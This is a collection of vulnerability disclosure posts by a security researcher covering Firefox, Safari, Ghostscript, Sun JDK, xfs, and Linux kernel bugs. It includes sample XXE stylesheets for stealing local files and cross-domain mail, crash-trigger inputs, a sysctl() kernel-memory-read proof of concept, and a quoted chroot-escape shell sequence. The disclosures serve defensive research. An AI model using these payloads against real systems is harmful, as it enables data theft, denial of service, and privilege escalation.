Firefox cross-domain image theft (CESA-2008-009)
Hi, Firefox 2.0.0.18 fixes a cross-domain theft of image data. Firefox 3 unaffected. It's another interesting case where a redirector confuses the browser about the true origin of a piece of content. If evil.org hosts a redirector, e.g. evil.org/redir, and an image is loaded via this redirector, the image will be treated as a same-domain image. In this event, the image pixel data may easily be stolen by rendering the image to a canvas and using the getImageData() JavaScript API. Advisory: http://scary.beasts.org/security/CESA-2008-009.html Blog post: http://scarybeastsecurity.blogspot.com/2008/11/firefox-cross-domain-image-theft-and.html Cheers Chris
Firefox cross-domain text theft (CESA-2008-011)
Hi, Firefoxes 2.0.0.19 and 3.0.5 fix a cross-domain theft of textual data. The theft is via cross-domain information leaks in JavaScript error messages for scripts executed via
Problems with syscall filtering technologies on Linux
Hi, There's a trick which may permit the bypassing of policies in technologies which do syscall filtering on the Linux x86_64 kernel. The trick is made possible by the fact that the 32-bit and 64-bit kernel tables are different, combined with the fact that a 64-bit process can make a 32-bit syscall and visa versa. The syscall "number" check can get confused and permit a syscall it did not intend to. Advisory: http://scary.beasts.org/security/CESA-2009-001.html Blog post: http://scarybeastsecurity.blogspot.com/2009/01/bypassing-syscall-filtering.html Cheers Chris
LittleCMS vulnerabilities (OpenJDK, Firefox, GIMP, etc. impacted)
Hi, LittleCMS (or lcms) prior to v1.18beta2 contains various integer overflow, buffer overflow and memory leak errors. At least one of these bugs is a stack-based buffer overflow which is good for arbitrary code execution. I have an exploit that works on my Ubuntu-8.10 laptop but am holding off on releasing it just yet. The most serious bug is a stack-based buffer overflow in ReadSetOfCurves() in cmsio1.c. With some code paths, validation of the number of channels in the ICC profile is not performed. This leads to an overflow of the "Curves" stack buffer. The overflow data is not arbitrarily user controlled; it's pointers to heap chunks where the attacker has partial control over the contents of the heap chunks. That's good enough for an exploit on many systems. Full technical details: http://scary.beasts.org/security/CESA-2009-003.html Blog post: http://scarybeastsecurity.blogspot.com/2009/03/littlecms-vulnerabilities.html The blog post goes into a little more detail on which attack surfaces LittleCMS is present, and which system-level defenses mitigate this vulnerability. Cheers Chris
Apple Safari local file theft vulnerability
Hi, Safari prior to version 4 may permit an evil web page to steal files from the local system. This is accomplished by mounting an XXE attack against the parsing of the XSL XML. This is best explained with a sample evil XSL file which includes a DTD that attempts the XXE attack: ] > http://www.w3.org/1999/XSL/Transform";> Below you should see the content of a local file, stolen by this evil web page. &ent; alert(document.body.innerHTML); To mount the attack, the attacker would serve a web page which has XML MIME type and requests to be styled by the evil stylesheet: irrelevant Full technical details: http://scary.beasts.org/security/CESA-2009-006.html Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html (includes 1-click demos) Cheers Chris
Apple Safari cross-domain XML theft vulnerability
Hi, Safari prior to version 4 may permit an evil web page to steal arbitrary XML data cross-domain. This is accomplished by abusing a relatively obscure cross-domain access point which was completely missing a cross-domain access check. The access point in question is the document() function in XSL. This is best illustrated with a sample evil XSL file which abuses this function: http://www.w3.org/1999/XSL/Transform"; xmlns:str="http://exslt.org/strings"; extension-element-prefixes="str"> Below, you should see e-mail stolen cross-domain! https://mail.google.com/mail/feed/atom')"/> alert(document.body.innerHTML) To mount the attack, the attacker would serve a web page which has XML MIME type and requests to be styled by the evil stylesheet: irrelevant There are a number of interesting XML-based formats you might want to steal including authenticated RSS, XML-formatted AJAX-y responses, and XHTML. Full technical details: http://scary.beasts.org/security/CESA-2009-008.html Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-also-fixes-cross-domain.html (includes 1-click demo) Cheers Chris
Ghostscript buffer overflow
Hi, Buffer overflow in Ghostscript. A useful attack vector because a lot of UNIX workstations will put PS files on the web through Ghostscript. The problem is a stack-based buffer overflow in the zseticcspace() function in zicc.c. The issue is over-trust of the length of a postscript array which an attacker can set to an arbitrary length. One slight amusement is that the overflowed type is "float", leading to machine code -> float conversion in any exploit. An example .ps file to trigger a crash follows: %!PS-Adobe-2.0 << /DataSource currentfile /N 100 /Range [ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ] >> .seticcspace Announcement: http://scarybeastsecurity.blogspot.com/2008/02/buffer-overflow-in-ghostscript.html Full technical details including a demo exploit by my colleague Will Drewry: http://scary.beasts.org/security/CESA-2008-001.html Cheers Chris
Sun JDK image parsing vulnerabilities
Hi, A couple more JPEG ICC parsing bugs were fixed in the latest JDK updates. Full technical details: http://scary.beasts.org/security/CESA-2007-005.html The most interesting part is the faulty code: Limit = SpGetUInt32 (Buf); ... UInt16Ptr = (KpUInt16_t *)SpMalloc (Limit * (KpInt32_t)sizeof (*UInt16Ptr)); ... for (Index = 0; Index < Limit; Index++) *UInt16Ptr++ = SpGetUInt16 (Buf); ... And the image to trigger: http://scary.beasts.org/misc/jdk/evilicc2.jpg Normally, the heap overflow would just terminate the process as the copy length is kind of wild. However, JDK installs a SEGV handler which accesses a lot of (potentially trashed) memory in the process of putting together a meaningful crash dump. It's quite likely that this makes the condition exploitable as per a previous bug in this area: http://scary.beasts.org/security/CESA-2006-004.html Blog post for all of the above: http://scarybeastsecurity.blogspot.com/2008/03/sun-jdk-image-parsing-vulnerabilities.html Cheers Chris
Sun JRE / JDK bug introduces XXE possibilities
Hi, Now that Sun has fixed this in JDK6u4, I thought this might be of interest to people: http://scarybeastsecurity.blogspot.com/ Essentially, one common XXE protection method was broken in the default XML parser, in JDK6. In particular, I'm worried about web services (and other server-side XML accepting technologies) deployed under JDK6. I haven't had time to look into common web service frameworks and see how they implement XXE protection. Might be interesting to look into specific technologies that broke. Cheers Chris
xfs security issues (fwd)
Hi,
I notice xfs (the X font server) recently hit the news. It seems I never
sent the below message on to Bugtraq (at least a search doesn't show up
much). I'm guessing it's still relevant.
This message illustrates that the xfs problem recently mentioned by Michal
is but one of many minor carelessnesses in the xfs source. xfs probably
cannot be considered secure until a full and time-consuming audit is
performed. In particular run xfs as a listening TCP network service at
your own extreme risk.
xfs's prime problem, like quite a few X protocols, is that a large amount
of code paths are available for exploration by remote users, _before_ any
sort of authentication is attempted.
Note that the message I'm forwarding is almost a year old. Since no-one's
seen fit to do something about it, I guess it's time to raise the profile
again.
Cheers
Chris
-- Forwarded message --
Date: Mon, 31 May 1999 18:09:47 +0100 (GMT)
From: Chris Evans <[EMAIL PROTECTED]>
To:
Subject: xfs security issues
Hi,
I can't remember if I ever sent you these. Fixing "xfs" security has been
on my TODO list for a while but I just haven't had the time :-( Hopefully
if I give you an overview of the issues, you can get someone to sort it
out. I regard the issues as serious.
Essentially, xfs is very easy for a remote user to segfault. This is
obviously bad because all dependent X servers will go down- very nasty
DoS. The problem attracted my attention because RedHat now use "xfs" to
serve fonts to the local X server. Fortunately, I persuaded them to
disable xfs listening via TCP!
The problems could well be worse than DoS - if you can get the process to
trample on random memory, this can often be leveraged in some way...
Generally, most of xfs's problems are blind trust of lengths supplied in
data arriving over the network. This means it is always jumping off the
end of buffers and crashing.
Here is a practical example of the above:
telnet localhost 7100
Connected etc.
BB
xfs has crashed at this point.
Unfortunately, this flaw occurs in multiple places rather than just once.
The font protocol looks into network packets for lengths, multiple times.
As another practical example,
dispatch.c (from xfs), function ProcEstablishConnection(). There is the
line of code
ad += client_auth[i].datalen;
Which again picks an unsigned short out of the network packet, and
trusts it not to take us over the end of the input buffer.
Related to the above, there is a very very subtle bug related to
signed/unsigned conversions. We get an unsigned short from the network,
and then store it in the following structure
typedef struct _auth {
short namelen;
short datalen;
char *name;
char *data;
} AuthRec;
i.e. we stuff an unsigned short into a signed short, so we can get a -ve
value. This -ve value then gets passed to a memcpy() and becomes positive
and very large, smashing various internal buffers.
There is one other crash issue I noticed by inspection. In dispatch.c from
xfs, ~line 932, there is an assert() statement. This assert is fired in
response to network data the program doesn't understand! This is clearly a
bug - assert() is for use when a program bug has been hit, rather than
corrupt data arriving over the network.
Let me know what you think about the above. In particular, let me know if
it is going to take a while to fix. I might be able to persuade someone on
the security-audit list to look into it if you and your developers are too
busy.
Cheers
Chris
Linux knfsd DoS issue
Hi,
I was going to wait until a 2.2 kernel incorporating the fix was released,
but that's taking a while, and details have already leaked by several
routes.
ISSUE
=
A DoS condition exists in the Linux kernel knfsd server. Remote,
unauthenticated users (i.e. those with neither a directory mounted nor
permission to mount one) can OOPS the host kernel. The OOPS does not bring
down the target host, but it is possible to render the NFS service
inoperable until a reboot.
FIX
===
The fix is present in the following kernels
- 2.3.99pre7-pre1
- 2.2.15pre20 [1]
- The kernel update recently release by RedHat (AFAIK)
Fix is also included at the bottom of this post.
[1] Which, AFAIK, is only available as a patch on top of
2.2.15pre19. Please see
ftp://ftp.kernel.org/pub/linux/kernel/people/alan/pre-patch-2.2.15-19to20.bz2
DISCUSSION OF ISSUE
===
This issue is caused by signed/unsigned issues. A size check is performed
on an "int" (i.e. signed) variable. This size check does not check for
negative values. As a consequence it is possible to point an internal
buffer pointer _way_ before the beginning of the buffer. The kernel will
try to read a memory address in limbo, and OOPS.
The faulty code is in kernel/net/sunrpc/svcauth.c, svcauth_unix()
int slen;
...
slen = ntohl(*bufp++); /* gids length */
if (slen > 16 || (len -= slen + 2) < 0)
goto badcred;
...
bufp += (slen - i);
As a general note, signed/unsigned errors like the above are _almost_ as
prevalent as buffer overflows. Once you start looking for
them. Re-auditing previously audited software with signed/unsigned issues
in mind often yields new problems.
Note that the userland sunrpc implementation suffered from a very similar
flaw a while back. No, it certainly wasn't a copy/paste error.
Some signed/unsigned errors can lead to exploitable conditions rather than
just DoS. The following code fragment should illustrate this:
func()
{
char name[NAMELEN];
int len = get_from_network();
if (len > NAMELEN)
goto i_dont_think_so;
memcpy(name, get_from_network(), len); /* -1 implicitly converted to
4Gb */
}
An interesting variant on this (that HAS been observed) is
func()
{
char* bufp;
char* bufmax = bufp + 100;/* Or whatever */
unsigned int len = get_from_network();
if (bufp + len > bufmax)
goto i_dont_think_so;
...
bufp += len;
}
On machines with a small 4Gb address space, e.g. Intel x86, a suitable
large value of len will wrap bufp around the address space, leading to a
position outside of the buffer boundary, but satisfying the "bufp + len <=
bufmax" constraint.
Programs which have in their history been found to include signed/unsigned
issues include
- knfsd
- sunrpc part of glibc
- xfs
- libORBIT
- issues at syscall API of various kernels
- issues in networking stacks
PATCH TO FIX
--- net/sunrpc/svcauth.c.oldTue Apr 18 05:13:47 2000
+++ net/sunrpc/svcauth.cTue Apr 18 06:36:20 2000
@@ -4,6 +4,9 @@
* The generic interface for RPC authentication on the server side.
*
* Copyright (C) 1995, 1996 Olaf Kirch <[EMAIL PROTECTED]>
+ *
+ * CHANGES
+ * 19-Apr-2000 Chris Evans - Security fix
*/
#include
@@ -117,7 +120,8 @@
struct svc_buf *resp = &rqstp->rq_resbuf;
struct svc_cred *cred = &rqstp->rq_cred;
u32 *bufp = argp->buf;
- int len = argp->len, slen, i;
+ int len = argp->len;
+ u32 slen, i;
if ((len -= 3) < 0) {
*statp = rpc_garbage_args;
@@ -127,7 +131,7 @@
bufp++; /* length */
bufp++; /* time stamp */
slen = (ntohl(*bufp++) + 3) >> 2; /* machname length */
- if (slen > 64 || (len -= slen) < 0)
+ if (slen > 64 || (len -= slen + 3) < 0)
goto badcred;
bufp += slen; /* skip machname */
EXPLOIT
===
Not today! In fact, don't bother. DoS is very passe... very 90's :-)
Cheers
Chris
Linux kernel sysctl() vulnerability
Hi,
OVERVIEW
There exists a Linux system call sysctl() which is used to query and
modify runtime system settings. Unprivileged users are permitted to query
the value of many of these settings.
The unprivileged user passes in a buffer location and the length of this
buffer. Unfortunately, by specifying a negative buffer length, a user can
read pretty arbitrary kernel memory.
DISCUSSION OF FLAW
Looking at linux/kernel/sysctl.c: sysctl_string()
int l, len;
...
if (oldval && oldlenp) {
if(get_user(len, oldlenp))
return -EFAULT;
if (len) {
l = strlen(table->data);
if (len > l) len = l;
if (len >= table->maxlen)
len = table->maxlen;
if(copy_to_user(oldval, table->data, len))
return -EFAULT;
The contents of variable "len" are totally under the control of a
malicious user. Since len is declared as signed, a negative value may be
used. This bypasses the "len >= table->maxlen" check and copies kernel
data to userspace, starting at "table->data".
The sysctl.c file contains several signed/unsigned mixups like the above.
To exploit this, there are a couple of minor issues.
1) copy_to_user() virtual address space wrap check. A check in the kernel
means we need to place the destination user space buffer low in the
virtual address space, using mmap(). The default heap location on i386 is
too high.
2) The usefulness of this exploit will vary depedending upon if the
address of the table->data pointer used is _before_ lots of interesting
kernel stuff. On ix86 Linux, this certainly seems to be the case.
3) I have a report that the kernel may be caused to hang using this bug.
I haven't investigated.
FIX
The recent flurry of updated kernels from vendors include a fix for the
sysctl() problem. The fix is essentially to use unsigned variables for the
lengths.
COMMENTS
As we see, integer signedness issues seem to be everywhere. Subtle flaws
like these are a great concern because they are hard to spot and audits
will miss them.
Quick hacky demo code of how you might go about playing with this, is
appended.
Cheers
Chris
/* Excuse the lack of error checking */
#include
#include
#include
#include
#include
#include
#include
_syscall1(int, _sysctl, struct __sysctl_args *, args);
#define BUFLEN 100
int
main(int argc, const char* argv[])
{
struct __sysctl_args args_of_great_doom;
int names[2] = { CTL_KERN, KERN_NODENAME };
/* Minus 2 billion - somewhere close to biggest negative int */
int dodgy_len = -20;
int fd;
char* p_buf;
fd = open("/dev/zero", O_RDWR);
p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE, fd, 0);
memset(p_buf, '\0', BUFLEN);
fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
args_of_great_doom.name = names;
args_of_great_doom.nlen = 2;
args_of_great_doom.oldval = p_buf;
args_of_great_doom.oldlenp = &dodgy_len;
args_of_great_doom.newval = 0;
args_of_great_doom.newlen = 0;
_sysctl(&args_of_great_doom);
fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
}
Re: [COVERT-2001-02] Globbing Vulnerabilities in Multiple FTP Daemons
On Tue, 10 Apr 2001, Mike Gleason wrote: > NcFTPd Server for UNIX from NcFTP Software is not vulnerable to the > pathname globbing buffer overflow described by NAI COVERT Labs advisory > (COVERT-2001-02) (which is also documented in CERT Advisory CA-2001-07). > > Additionally, NcFTPd Server is not vulnerable to the globbing > denial-of-service bug mentioned recently (March 16) on BUGTRAQ. Hi, If we're playing "I'm not vulnerable", then can I join in? :) vsftpd[1] is not vulnerable, because 1) It contains a minimal internal pattern matcher, which uses a secure string handling API. 2) It does not use the underlying operating system's glob() at all. In fact because of point 2) above, vsftpd is safe even on systems with buggy glob() such as OpenBSD etc. For a while now, the security documentation has specifically commented on the risks of using glob(). This episode raises two secure coding issues which I believe deserve a wide audience. 1) Errant string handling/buffer overflows are a solved problem. The key here is to abstract string and buffer manipulations behind a buffer API. A well designed buffer API will be harder to use incorrectly (i.e. cause an overflow) than it is to use correctly. Also, your buffer handling code is localised to one place rather than scattered all over your code. This makes verification of correctness easier. This is not a new idea. qmail employs this technique with obvious success. 2) Carefully assess what external code you are trusting. FTP servers using glob() is a great example here. glob() is a complex function involving lots of parsing and buffer manipulation. It has a sprawling API. Exposing this API to the network for remote users to prod at was always likely to cause trouble on some implementations. Cheers Chris [1] ftp://ferret.lmh.ox.ac.uk/pub/linux/vsftpd-0.0.15.tar.gz
Re: OpenBSD 2.8 ftpd/glob exploit (breaks chroot)
On Wed, 18 Apr 2001, Bill Sommerfeld wrote:
> seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
> chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
> chdir("..");
> chroot(".."); execve("/bin//sh", ..);
>
> For the record, I blocked this way of breaking out of chroot in NetBSD
> in 1999; the fix is present in NetBSD 1.4 and later releases. I'm
> surprised that this hasn't been picked up by more distributions.
I expect many many other people are going to reply to this, but here
goes..
Trying to stop root breaking out of a chroot() environment tends to be an
exercise in futility. For every escape route you block, a clever attacker
is likely to think up two more.
Are you claiming root cannot escape a chroot() jail in NetBSD? If not,
you've increased the complexity of your kernel for little real-world gain.
An attacker will know when they are targetting NetBSD, and simply modify
the shellcode to escape the chroot() in some different manner.
If you _are_ claiming root cannot escape the jail, then how thorough have
you been? Have you taken care of
- ptrace() syscall
- mknod of /dev/kmem
- mknod of /dev/some_hard_drive
- attaching to IPC primitives
- kernel module loading (if NetBSD has the concept)
- games with mount(), in particular /proc
- iopl() - if NetBSD has it
- kill() of a sensitive daemon followed by bind() and then password theft
- use of a raw network socket to abuse a trust relationship
- etc. etc.
Cheers
Chris
